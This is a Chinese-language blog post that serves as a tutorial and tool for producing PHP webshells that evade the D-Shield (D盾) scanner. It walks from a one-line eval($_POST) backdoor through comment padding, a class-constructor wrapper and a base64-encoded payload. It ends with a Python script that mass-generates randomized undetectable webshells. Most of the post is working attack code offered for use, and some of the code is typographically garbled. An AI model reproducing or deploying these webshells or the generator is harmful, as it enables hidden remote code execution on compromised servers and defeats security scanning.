PHP免杀webshell生成工具

此篇仅讨论绕过D盾,其他的没试

由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval。

0x01:探究免杀

 

首先我们需要了解免杀的原理,免杀其实就是绕过杀软的规则,而规则对我们来说是不透明的,但是可以根据fuzz探知个大概。

首先请出我们的一句话木马:

<?php @eval($_POST(‘a’));?>

无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。

经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为eval($_POST[‘a’])

<?php

function x()
{

    return $_POST[‘a’];

}

eval(x());
?>

D盾扫一下

图片[1]-PHP免杀webshell生成工具-浩潮汇

被杀了,显然D盾并没有给出我们为什么这个会被杀,只说是已知后门,这里我们测试一下到底是什么东西被规则杀掉了。

首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST[‘a’])就会被杀,因此我们避免语句直接拼接为这样即可。

如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了

比如这样的:

<?php

function x()
{

    return “/*sasas23123*/”.$_POST[‘a’].“/*sdfw3123*/”;

}

eval(x());
?>

这里用两段注释在”eval(“与”$_POST”之间起到了隔离的作用,因此绕过了直接拼接这个规则,D盾继续杀一下

图片[2]-PHP免杀webshell生成工具-浩潮汇

已经免杀成功,再看一下能否使用

图片[3]-PHP免杀webshell生成工具-浩潮汇

0x02:批量生成

既然如此,我们的核心绕过思路就是利用注释了,既然要批量生产,必不可少的就是随机性了

使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。

所以我们这里使用类和构造函数来替代主动调用函数,

<?php

class x

{

 

        
function __construct
(
)

        
{      

                
@
eval
(
“/*sasas23123*/”
.
$_POST
[
‘a’
]
.
“/*sdfw3123*/”
)
;

        
}

}
new x();

?>

改到这里,我不禁想 如果D盾发狠把”.$_POST[‘a’].”当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将”$_POST[‘a’]”转化一下

<?php

class x

{

        
public 
$payload 
= 
null
;

        
public 
$decode_payload 
= 
null
;

        
function __construct
(
)

        
{       
$this
->
payload
=
‘ZXZhbCgkX1BPU1RbYV0pOw==’
;

                
$this
->
decode_payload 
= 
@
base64_decode
( 
$this
->
payload 
)
;

                
@
eval
(
“/*sasas23123*/”
.
$this
->
decode_payload
.
“/*sdfw3123*/”
)
;

        
}

}
new x();

?>

继续杀一下

图片[4]-PHP免杀webshell生成工具-浩潮汇

执行一下:

图片[5]-PHP免杀webshell生成工具-浩潮汇

到现在为止,模板确认

后面就是写轮子了,至于轮子原理也很简单,就是将可以修改特征的参数名使用随机数填充,比如类名、public变量名、用于混淆的注释字符等。

 

0x03:代码

代码如下

import 
random

#author: pureqh
#github: https://github.com/pureqh/webshell

shell = ”'<?php
class {0}{3}
        public ${1} = null;
        public ${2} = null;
        function __construct(){3}
        $this->{1}=’ZXZhbCgkX1BPU1RbYV0pOw==’;
        $this->{2} = @base64_decode( $this->{1} );
        @eval({5}.$this->{2}.{5});
        {4}{4}
new {0}();
?>”’

def random_keys(len):
    str = ‘`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’
    return .join(random.sample(str,len))

def random_name(len):
    str = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ’
    return .join(random.sample(str,len))  
   
def build_webshell():
    className = random_name(4)
    parameter1 = random_name(5)
    parameter2 = random_name(6)
    lef = ”'{”’
    rig = ”’}”’
    disrupt = \”/*”+random_keys(7)+“*/\”
    shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt)
    return shellc

if __name__ == ‘__main__’:
    print (build_webshell())

验证:

图片[6]-PHP免杀webshell生成工具-浩潮汇

图片[7]-PHP免杀webshell生成工具-浩潮汇

图片[8]-PHP免杀webshell生成工具-浩潮汇

免杀逻辑和代码参考了许多前辈,我学到的知识均来自互联网,我也会将学到的知识反馈给互联网。

代码将会收录至:

https://github.com/pureqh/webshell 

https://github.com/emptysuns/webshell 

© 版权声明
WWW.ANXKJ.TOP
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容